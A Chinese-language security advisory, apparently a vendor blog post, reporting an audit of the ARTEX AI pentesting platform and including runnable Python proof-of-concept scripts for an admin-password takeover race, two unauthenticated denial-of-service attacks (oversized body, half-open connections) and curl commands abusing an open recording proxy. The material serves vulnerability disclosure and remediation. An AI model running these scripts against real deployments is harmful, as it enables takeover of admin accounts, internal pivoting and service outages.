对知名渗透项目 ARTEX 的风险审计

原创

星环大模型
星环大模型

TERRA星环安全团队

2026年10月19日 09:57
贵州

去阅读

泰若星环安全大模型文章发布

本文所有发现均来自 泰若星环安全团队自研 AI 代码审计平台 trcoding 的自动化审计、动态差分验证与真实部署复现。

写在前面

ARTEX 是一款在安全圈内知名度很高的 AI 自主渗透测试系统。它的定位不是普通的 Web 应用，而是一个“会自己思考、自己动手”的攻击平台：它能编排任务、扫描资产、发现漏洞、调用工具，甚至在被授权的目标上执行命令。

这类系统一旦被攻破，后果比普通网站严重得多——攻击者拿到的不仅是一个后台账号，而是一台已经配置好、可以继续对外攻击的“作战平台”。因此，我们使用 trcoding 对 ARTEX 的两个广泛使用的版本（v0.3.7-14 与 v0.3.15）做了完整审计，并在隔离环境和真实测试服务器上逐条复现。

本文面向普通读者，先介绍 ARTEX 是什么、我们如何审计，再重点说明两类外部网络可直接触发的问题：无需登录即可利用的漏洞，以及未认证的拒绝服务（DoS）。其中登录接口的限速与失败锁定只做汇总、不展开口令尝试细节；需要登录或拿到令牌后才能触发的问题也只在“风险总览”表中汇总。

一、ARTEX 是什么

用一句话概括：ARTEX 是一个把“渗透测试”做成自动化流水线的 AI 平台。

它由 Go 语言编写的后端和 Next.js 前端组成，通常配合 PostgreSQL 数据库运行。它的核心能力包括：

• • 任务编排：把一次渗透测试拆成“目标拆解 → 规划 → 执行 → 报告”的流水线；
• • 资产与漏洞管理：记录扫描到的资产、发现的问题和证据；
• • 工具调用：让 AI 模型调用命令执行、文件读写、网络请求等工具；
• • MCP 扩展：通过 MCP（Model Context Protocol）接入本地或远程的“工具服务器”，其中 stdio 类型会直接在本机启动子进程；
• • 多模型接入：支持 OpenAI / Anthropic 兼容接口，用户可以配置自己的模型服务。

对普通读者来说，可以把它理解为一间“自动化攻击指挥室”：里面有地图（资产）、有作战计划（任务）、有执行手（工具），还有一本记录本（证据与报告）。这间指挥室如果门没锁好，闯入者就能直接使用里面的一切。

二、我们如何审计：trcoding 的工作方式

trcoding 是泰若星环安全团队自研的 AI 代码审计平台。它不是简单地“把代码丢给模型问一问”，而是按一条可验证的流水线工作：

1. 1. 代码盘点：先弄清项目有哪些模块、入口、信任边界和敏感资产；
2. 2. 路径分析：把“谁能从哪个入口进来、能碰到什么”画成攻击路径；
3. 3. 证伪：对每条路径主动寻找“这条链其实走不通”的证据，避免把猜测当漏洞；
4. 4. 动态差分验证：在隔离环境中实际运行项目，对比“有漏洞的状态”和“修复/对照状态”的行为差异；
5. 5. 真实部署复现：把项目部署到独立测试服务器，由另一台机器从公网发起真实攻击，记录完整请求、响应和系统副作用。

本文正文中的动态结果，均以一台独立公网攻击机（NAT 后的内网主机）向公网测试服务器发起；服务器本地或实验室数据不作为“真实攻击者是否可行”的结论。

本文保留的每一个结论，都至少满足以下之一：

• • 动态实机验证：真实发送请求、真实执行命令、真实观察到内存/CPU/文件变化；
• • 代码级确定性验证：直接运行项目中的真实函数，或由代码本身可以直接判定的事实。

只有静态推测、没有实际验证的内容，不会出现在本文的结论中。

三、风险总览

本次审计覆盖 ARTEX v0.3.7 与 v0.3.15。两版的核心差异是：v0.3.15 修复了“已初始化实例的密码覆盖”问题，但其余绝大多数风险仍然存在。

正文展开其中无需登录、且适合公开展示的问题，并给出具体 POC 与复现脚本；登录接口的限速与失败锁定只做汇总，不展开口令尝试细节。标注为“否”的问题需要先登录或拿到令牌，外部网络无法直接触发，因此也不展开。

安全提示：本文中的脚本仅用于授权环境下的安全验证。请勿对任何未授权的系统使用。

使用说明：命令中的 TARGET 请替换为你的授权测试地址，<JWT> 请替换为管理员登录后的令牌；脚本中的示例口令请按你的测试环境替换。

四、重点一：未授权即可利用的漏洞

“未授权”的意思是：攻击者不需要任何账号、密码或令牌，只要能访问到管理端口，就能发起攻击。对于 ARTEX 这种高权限平台，这是最危险的一类问题。需要登录后才能触发的问题不在本节展开，统一列在风险总览表中。

4.1 已初始化实例：不用原密码也能覆盖管理员密码

风险说明

ARTEX 有一个“首次设置管理员密码”的接口。它的设计初衷是：新装好的系统还没有密码，允许用户设置一次；设置过之后，再调用就应该被拒绝。

问题出在“判断有没有设置过密码”这一步。系统去数据库里查“密码是否存在”，但把查询出错和“密码不存在”当成了同一种情况。于是，当数据库因为压力过大而暂时查不出结果时，系统会误以为“还没设置密码”，从而允许攻击者写入一个新密码，并立刻拿到管理员令牌。

用一个比喻：门卫本来应该查“这间屋子有没有人住”，但他把“查不到记录”也当成“没人住”，于是把钥匙交给了陌生人。

技术细节与影响

• • 受影响版本：v0.3.7（本报告重点版本）；v0.3.15 已修复。
• • 问题位置：server/auth.go 的 authInit，以及底层 db/settings.go 的 GetSetting。
• • 根因：GetSetting 在“键不存在”和“读取失败”时都返回空字符串，唯一区别是错误值；authInit 丢弃了错误值，只判断“字符串是否为空”。写入密码时又使用了会覆盖旧值的 upsert。
• • 触发条件：攻击者用大量并发请求把数据库连接占满，使查询开始报错；此时部分请求会“失败放行”，覆盖管理员密码并拿到令牌。
• • 实际影响：攻击者不需要知道原密码，就能把管理员密码改成自己的，随后登录后台、创建 MCP、执行命令。

POC（核心请求）

POST /api/auth/init HTTP/1.1
Host: TARGET:8787
Content-Type: application/json

{\"password\":\"AttackPass123!\"}

上面的请求单独发送时通常会被拒绝（返回 403）。真正的关键在于并发 + 多轮：同时发送数百个这样的请求，让数据库连接池持续被占满。真机实测单轮 300 并发仍可能全部 403，脚本必须允许多轮重试。

复现脚本（Python，标准库）

#!/usr/bin/env python3
\"\"\"并发触发密码重置的失败放行。仅用于授权测试。\"\"\"
import json, urllib.request, urllib.error
from collections import Counter
from concurrent.futures import ThreadPoolExecutor

BASE = \"http://TARGET:8787\"       # 改成授权测试地址
ORIGINAL = \"admin123ad\"            # 当前测试环境原密码（按实际替换）
ATTACK = \"AttackPass123!\"          # 攻击者想设置的新密码
ATTEMPTS = 800                     # 并发数；单轮 300 在真机实测不足
ROUNDS = 5                         # 多轮重试；命中后停止

def init_once(_):
    body = json.dumps({\"password\": ATTACK}).encode()
    req = urllib.request.Request(
        BASE + \"/api/auth/init\", data=body,
        headers={\"Content-Type\": \"application/json\"}, method=\"POST\")
    try:
        with urllib.request.urlopen(req, timeout=60) as resp:
            return resp.status
    except urllib.error.HTTPError as exc:
        return exc.code
    except Exception:
        return -1

def login(password):
    body = json.dumps({\"username\": \"ARTEX\", \"password\": password}).encode()
    req = urllib.request.Request(
        BASE + \"/api/auth/login\", data=body,
        headers={\"Content-Type\": \"application/json\"}, method=\"POST\")
    try:
        with urllib.request.urlopen(req, timeout=30) as resp:
            return resp.status, json.loads(resp.read()).get(\"token\")
    except urllib.error.HTTPError as exc:
        return exc.code, None
    except Exception:
        return -1, None

# 对照：已初始化实例上，单请求必须被拒绝（403）
single = init_once(0)
print(\"单请求对照（应为 403）:\", single)
if single != 403:
    raise SystemExit(\"目标不是已初始化实例（单请求返回 %s）；请换用已初始化实例\" % single)

orig_before, _ = login(ORIGINAL)
print(\"原密码初始登录（应为 200）:\", orig_before)
if orig_before != 200:
    raise SystemExit(\"ORIGINAL 无法登录；请先把 ORIGINAL 改成目标实例的当前密码\")

attack_token = None
for rnd in range(1, ROUNDS + 1):
    with ThreadPoolExecutor(max_workers=ATTEMPTS) as pool:
        codes = list(pool.map(init_once, range(ATTEMPTS)))
    print(f\"第 {rnd} 轮状态码分布:\", Counter(codes))
    attack_status, attack_token = login(ATTACK)
    if attack_status == 200 and attack_token:
        break

original_status, _ = login(ORIGINAL)
print(\"攻击密码登录:\", attack_status)
print(\"原密码登录:\", original_status)

if attack_token:
    req = urllib.request.Request(
        BASE + \"/api/tasks\",
        headers={\"Authorization\": \"Bearer \" + attack_token})
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            print(\"用攻击令牌访问受保护接口:\", resp.status)
    except urllib.error.HTTPError as exc:
        print(\"用攻击令牌访问受保护接口:\", exc.code)

实测结果

2026-10-18 从公网攻击机发起（使用文章脚本默认参数：原密码 admin123ad、攻击密码 AttackPass123!）：800 并发第 1 轮出现 234 个 200、377 个 500、187 个 403（成功数受请求时序影响）；攻击密码登录 200、原密码返回 401、攻击令牌访问 /api/tasks200。同一公网路径下单轮 300 并发全部返回 403，说明需要多轮持续压满连接池才能触发 fail-open。

本次测试环境以 admin123ad 作为原密码示例；实际复测时请替换为你自己的测试口令。复测会改掉密码，完成后用改密接口恢复。

v0.3.15 对同样的 900 个请求全部返回 403，攻击密码无法登录，原密码仍然有效——说明该版本已经修复。

修复建议

• • 数据库查询出错时立即“失败关闭”（返回 503），绝不允许继续设置密码；
• • 写入密码时使用“仅插入、不覆盖”的语义（例如数据库唯一约束）；
• • 限制数据库连接池大小，并对初始化接口做并发/频率限制；
• • 升级到包含该修复的新版本。

4.2 流量录制代理不验证身份

风险说明

ARTEX 默认会启动一个“流量录制代理”，用来记录被测目标的 HTTP/HTTPS 流量。这个代理不检查任何身份：任何人只要能连到代理端口，就可以把它当作自己的代理服务器使用——既能借它访问内网，也能让它把经过的流量记录下来。

技术细节与影响

• • 受影响版本：v0.3.7 默认把代理绑定到所有网卡（:8788），风险最高；v0.3.15 默认只绑定本机，但 Docker 启动命令仍监听所有网卡，且录制行为不受 traffic_capture 开关控制。
• • 问题位置：traffic/traffic.go；项目从未调用 go-mitmproxy 的代理认证接口。
• • 实际影响：代理可被当作开放代理/内网跳板；每个经过的请求都会落盘，长期可填满磁盘；记录中可能包含凭证与敏感数据。

POC（无需登录）

# V07：经 8788 代理访问 V07 自己的 8787
curl -x http://TARGET:8788 http://127.0.0.1:8787/api/health

# V15：经 8790 代理访问 V15 自己的 8789
curl -x http://TARGET:8790 http://127.0.0.1:8789/api/health

# 也可以访问任意从服务器可达的地址
curl -x http://TARGET:8788 http://example.com/

如果返回 200 和正常内容，说明代理没有验证身份。

复现脚本

该问题用一条 curl -x 命令即可复现，不需要额外脚本。2026-10-18 从公网攻击机发起：v0.3.7 的 8788 与 v0.3.15 的 8790 均返回 200 和 {\"ok\":true,\"service\":\"artex\",\"version\":\"dev\"}。目标写 127.0.0.1 是有意的——该地址只有服务器自己可达，能返回 200 就证明请求确实经过代理转发。

修复建议

• • 为代理启用认证（go-mitmproxy 的 SetAuthProxy），或限制来源网段；
• • 默认只绑定 127.0.0.1，不要把代理端口映射到公网；
• • 录制行为受 traffic_capture 开关控制，并设置磁盘配额与保留期。

五、重点二：未认证的拒绝服务（DoS）漏洞

拒绝服务的本质是“让平台没法正常工作”。ARTEX 作为攻击平台，一旦被 DoS，正在进行的扫描会中断，证据可能丢失，甚至整个进程退出。本节只保留无需登录即可触发的两项；需要登录后的日志订阅竞态、超长文件名、分页参数与任务范围问题，只在风险总览表中汇总。

以下命令默认以 V15（管理端口 8789、代理 8790）为例；V07 对应 8787/8788。脚本中的密码常量按你的目标实例替换；登录后的接口需要先获取管理员令牌。

5.1 未认证的超大请求体把内存撑爆

风险说明

登录接口在读取请求体时没有大小上限。攻击者不需要账号，只要发送一个“超大密码”的请求，服务器就会把这个巨大的字符串完整读进内存。一个 64 MB 的请求会带来数百 MB 的内存占用；并发几个，就可能把 4 GB 的服务器拖垮。

技术细节与影响

• • 受影响版本：v0.3.7 与 v0.3.15 均存在。
• • 问题位置：server/server_mgmt.go 的 decode 函数直接 json.NewDecoder(r.Body).Decode，没有 http.MaxBytesReader；HTTP 服务也没有读超时。
• • 实际影响：未认证即可触发；内存放大倍率约 2–4 倍；并发或更大请求可导致 OOM，进程被系统杀死。

POC（核心请求）

POST /api/auth/login HTTP/1.1
Host: TARGET:8789
Content-Type: application/json

{\"username\":\"x\",\"password\":\"AAAA...（64 MB 的 A）\"}

复现脚本（Python，标准库）

#!/usr/bin/env python3
\"\"\"未认证超大请求体导致内存放大。仅用于授权测试。\"\"\"
import argparse, subprocess, threading, time, urllib.request, urllib.error

ap = argparse.ArgumentParser()
ap.add_argument(\"--base\", default=\"http://TARGET:8789\")   # V07 换成 8787
ap.add_argument(\"--mb\", type=int, default=64)
ap.add_argument(\"--pid\", type=int, default=0,
                help=\"服务器上的 artex PID；仅在服务器本地运行时才能测 RSS\")
a = ap.parse_args()

def rss_kb(pid):
    out = subprocess.check_output([\"ps\", \"-o\", \"rss=\", \"-p\", str(pid)]).strip()
    return int(out)

try:
    before = rss_kb(a.pid) if a.pid else 0
except Exception as exc:
    raise SystemExit(\"无法读取 PID %s 的 RSS：%s；--pid 仅用于服务器本地运行\" % (a.pid, exc))
peak = {\"v\": before}
stop = threading.Event()
if a.pid:
    def poll():
        while not stop.is_set():
            peak[\"v\"] = max(peak[\"v\"], rss_kb(a.pid))
            time.sleep(0.05)
    threading.Thread(target=poll, daemon=True).start()

payload = b'{\"username\":\"x\",\"password\":\"' + b\"A\" * (a.mb * 1024 * 1024) + b'\"}'
start = time.time()
req = urllib.request.Request(
    a.base + \"/api/auth/login\", data=payload,
    headers={\"Content-Type\": \"application/json\"}, method=\"POST\")
try:
    with urllib.request.urlopen(req, timeout=120) as resp:
        print(\"状态码:\", resp.status, \"耗时:\", round(time.time() - start, 2), \"秒\")
except urllib.error.HTTPError as exc:
    print(\"状态码:\", exc.code, \"耗时:\", round(time.time() - start, 2), \"秒\")
except Exception as exc:
    print(\"客户端异常:\", repr(exc))

if a.pid:
    stop.set()
    time.sleep(0.2)
    after = rss_kb(a.pid)
    print(f\"RSS: before={before/1024:.1f}MB peak={peak['v']/1024:.1f}MB \"
          f\"after={after/1024:.1f}MB growth={(peak['v']-before)/1024:.1f}MB\")
else:
    print(\"提示：在服务器本地运行时加 --pid  可直接测 RSS 增长\")

在服务器本地运行时，脚本加 --pid 即可直接输出 RSS 前后对比。若请求从公网攻击机发起，可在服务器上另开终端执行 while :; do ps -o rss= -p ; sleep 0.1; done 观察 RSS；本文的公网结果就是这样测得的。

实测结果

公网实测说明：真实攻击者从外部网络可以触发；内存放大发生在服务器端；耗时受上行带宽影响（本次 39.8 秒，网络拥塞时可达 140 秒以上）。

修复建议

• • 所有 JSON 接口统一加 http.MaxBytesReader（认证接口 4 KB、普通接口 1 MB、上传接口单独限额）；
• • 设置 ReadTimeout，避免慢速大请求长期占用连接；
• • 在解码前校验 Content-Length 与字段长度。

5.2 HTTP 服务没有读/写/空闲超时

风险说明

服务器在收完请求头之后，会一直等请求体，但没有“等多久就放弃”的限制。攻击者可以发一个“我要上传 1 MB”的声明，然后只发一个字节，连接就会一直挂着。挂得多了，服务器的连接数和内存就被耗尽。

技术细节与影响

• • 受影响版本：v0.3.7 与 v0.3.15 均存在。
• • 问题位置：cmd/artex/main.go 中的 http.Server 只设置了 ReadHeaderTimeout，没有 ReadTimeout、WriteTimeout、IdleTimeout。
• • 实际影响：半包连接、慢速连接、空闲 keep-alive 连接都可以长期占用资源；SSE 客户端不读响应时，写操作也会永久阻塞。

POC（核心请求）

POST /api/auth/login HTTP/1.1
Host: TARGET:8789
Content-Length: 1000000

{          ← 只发送一个字符，然后保持连接

复现脚本（Python，标准库）

#!/usr/bin/env python3
\"\"\"半包连接验证服务端是否缺少读超时。仅用于授权测试。\"\"\"
import socket, time, urllib.request

HOST, PORT = \"TARGET\", 8789   # V07 换成 8787
HOLD_SECONDS = 12

sockets = []
for _ in range(2):
    sock = socket.create_connection((HOST, PORT), timeout=5)
    sock.sendall(
        b\"POST /api/auth/login HTTP/1.1\\r\
\"
        b\"Host: x\\r\
\"
        b\"Content-Length: 1000000\\r\
\\r\
{\"
    )
    sockets.append(sock)

time.sleep(HOLD_SECONDS)

alive = 0
for sock in sockets:
    try:
        sock.sendall(b\" \")
        alive += 1
    except OSError:
        pass
print(f\"{HOLD_SECONDS} 秒后仍可写的连接数:\", alive, \"/\", len(sockets))
for sock in sockets:
    sock.close()

try:
    with urllib.request.urlopen(f\"http://{HOST}:{PORT}/api/health\", timeout=3) as resp:
        print(\"健康检查:\", resp.status)
except Exception as exc:
    print(\"健康检查失败:\", repr(exc))

实测结果

从公网攻击机发起：2/2 条连接在 12 秒后仍然可写，健康检查返回 200。说明请求体读取没有任何截止时间，外部攻击者可以从公网直接占用连接。

修复建议

• • 设置 ReadTimeout、IdleTimeout、MaxHeaderBytes；
• • SSE 写操作使用 http.NewResponseController(w).SetWriteDeadline；
• • 在反向代理层限制并发连接数与单连接时长。

六、影响评估与修复建议

6.1 谁需要关注

• • 正在使用 ARTEX 的企业安全团队、渗透测试团队；
• • 把 ARTEX 部署在公网或云主机上的用户；
• • 使用 ARTEX 作为“攻击平台”执行授权测试的服务商。

6.2 优先修复顺序

下表按优先级列出修复项；其中需要登录后才能触发的问题只列修复动作，不再展开利用细节。

6.3 如果怀疑已经被入侵

1. 1. 立即把实例从公网下线；
2. 2. 轮换 jwt.key（只改密码无法让旧令牌失效）；
3. 3. 重置管理员密码；
4. 4. 审计 MCP 列表与自定义工具，删除可疑的 command/args；
5. 5. 检查服务器上由 ARTEX 拉起的异常子进程与外连；
6. 6. 升级到最新版本，并重新评估暴露面。

七、结语：关于 trcoding

本文的全部发现、复现过程与结论，均来自 泰若星环安全团队自研 AI 代码审计平台 trcoding。

trcoding 的工作 并不是“让模型读一遍代码然后猜漏洞”，而是通过把代码审计拆成可验证的工程流程：先盘点代码与信任边界，再对每条攻击路径做证伪，最后在隔离环境和真实部署中做动态差分验证。只有被真实执行、真实观测到的结论，才会进入最终报告。

对 ARTEX 的这次审计中，trcoding 在 v0.3.7-14 与 v0.3.15 上确认了 13 个核心漏洞与多类 DoS 风险，并在真实测试服务器上由外部主机发起了完整攻击链验证。本文只展开其中无需登录、且适合公开展示的部分；需要登录后才能触发的问题，已在风险总览表中汇总。我们希望这份面向公众的说明，能帮助使用 ARTEX 的团队尽快识别风险、完成加固。

再次提醒：本文中的 POC 与脚本仅用于授权环境下的安全验证。请勿对任何未授权的系统使用。如果你不确定自己的 ARTEX 实例是否暴露在公网，请先检查管理端口与代理端口的监听地址，再决定是否需要紧急下线。

泰若星环安全团队 · trcoding AI 代码审计平台
2026-10-19